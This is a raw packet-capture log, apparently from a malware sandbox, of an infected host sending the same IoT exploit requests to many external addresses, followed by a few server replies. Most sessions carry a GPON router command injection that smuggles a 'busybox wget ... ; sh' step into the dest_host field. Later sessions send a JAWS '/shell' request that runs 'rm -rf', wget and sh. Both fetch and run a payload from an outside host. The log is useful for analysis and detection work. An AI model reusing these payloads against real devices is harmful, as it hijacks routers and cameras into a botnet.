Apr 14, 2024 04:01:53.439795971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2642	192.168.2.13	37810	178.48.169.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439821959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2643	192.168.2.13	46252	123.0.108.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439858913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2644	192.168.2.13	50014	210.216.245.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439889908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2645	192.168.2.13	56394	212.198.45.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439913034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2646	192.168.2.13	55760	2.205.206.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439944983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2647	192.168.2.13	37398	5.80.71.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439970970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2648	192.168.2.13	49086	118.136.174.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439989090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2649	192.168.2.13	35324	212.228.247.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440030098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2650	192.168.2.13	54472	212.109.91.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440063000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2651	192.168.2.13	35750	123.244.206.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440104961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2652	192.168.2.13	41228	118.43.241.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440135956 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2653	192.168.2.13	35030	109.91.55.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440154076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2654	192.168.2.13	50768	79.86.61.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440175056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2655	192.168.2.13	59366	117.29.235.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440197945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2656	192.168.2.13	42986	37.255.207.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440243006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2657	192.168.2.13	46178	94.6.81.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440243959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2658	192.168.2.13	53872	202.237.170.250	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.440267086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2659	192.168.2.13	49692	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.654432058 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2660	192.168.2.13	37288	199.232.161.63	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.677031994 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.920022011 CEST	531	IN	HTTP/1.1 500 Domain Not Found Connection: keep-alive Content-Length: 239 Server: Varnish Retry-After: 0 content-type: text/html Cache-Control: private, no-cache X-Served-By: cache-lga13623-LGA Accept-Ranges: bytes Date: Sun, 14 Apr 2024 02:01:53 GMT Via: 1.1 varnish Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 20 31 32 37 2e 30 2e 30 2e 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 3a 20 31 32 37 2e 30 2e 30 2e 31 2e 20 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 61 64 64 65 64 20 74 6f 20 61 20 73 65 72 76 69 63 65 2e 3c 2f 70 3e 0a 3c 70 3e 44 65 74 61 69 6c 73 3a 20 63 61 63 68 65 2d 6c 67 61 31 33 36 32 33 2d 4c 47 41 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Fastly error: unknown domain 127.0.0.1</title></head><body><p>Fastly error: unknown domain: 127.0.0.1. Please check that this domain has been added to a service.</p><p>Details: cache-lga13623-LGA</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2661	192.168.2.13	55320	52.68.126.111	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.710843086 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2662	192.168.2.13	54334	185.145.247.192	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.753768921 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.079427958 CEST	454	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:53 GMT Server: Apache/2.4.52 (Unix) OpenSSL/1.0.2k-fips PHP/7.3.33 Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2663	192.168.2.13	46900	54.72.206.96	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.773061037 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2664	192.168.2.13	53388	182.16.253.51	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.805608034 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:54.311670065 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:53 GMT Server: Apache/2.4.52 (Ubuntu) Cache-Control: no-cache, private Set-Cookie: XSRF-TOKEN=2FxrCyMWNdApfawEA6axuUN92OJmAzlAib1TNWAx; expires=Sun, 14-Apr-2024 04:01:54 GMT; Max-Age=7200; path=/ Set-Cookie: audiologger_session=6f60s45dT6xFs6I56cCCK9SOiwdYLExMvWKr40QM; expires=Sun, 14-Apr-2024 04:01:54 GMT; Max-Age=7200; path=/; httponly Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 65 33 31 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 32 46 78 72 43 79 4d 57 4e 64 41 70 66 61 77 45 41 36 61 78 75 55 4e 39 32 4f 4a 6d 41 7a 6c 41 69 62 31 54 4e 57 41 78 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 69 6c 65 2d 62 61 73 65 2d 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 70 75 62 6c 69 63 2f 22 3e 0d 0a 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 75 64 69 6f 4c 6f 67 67 65 72 20 7c 20 4c 50 50 20 52 52 49 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 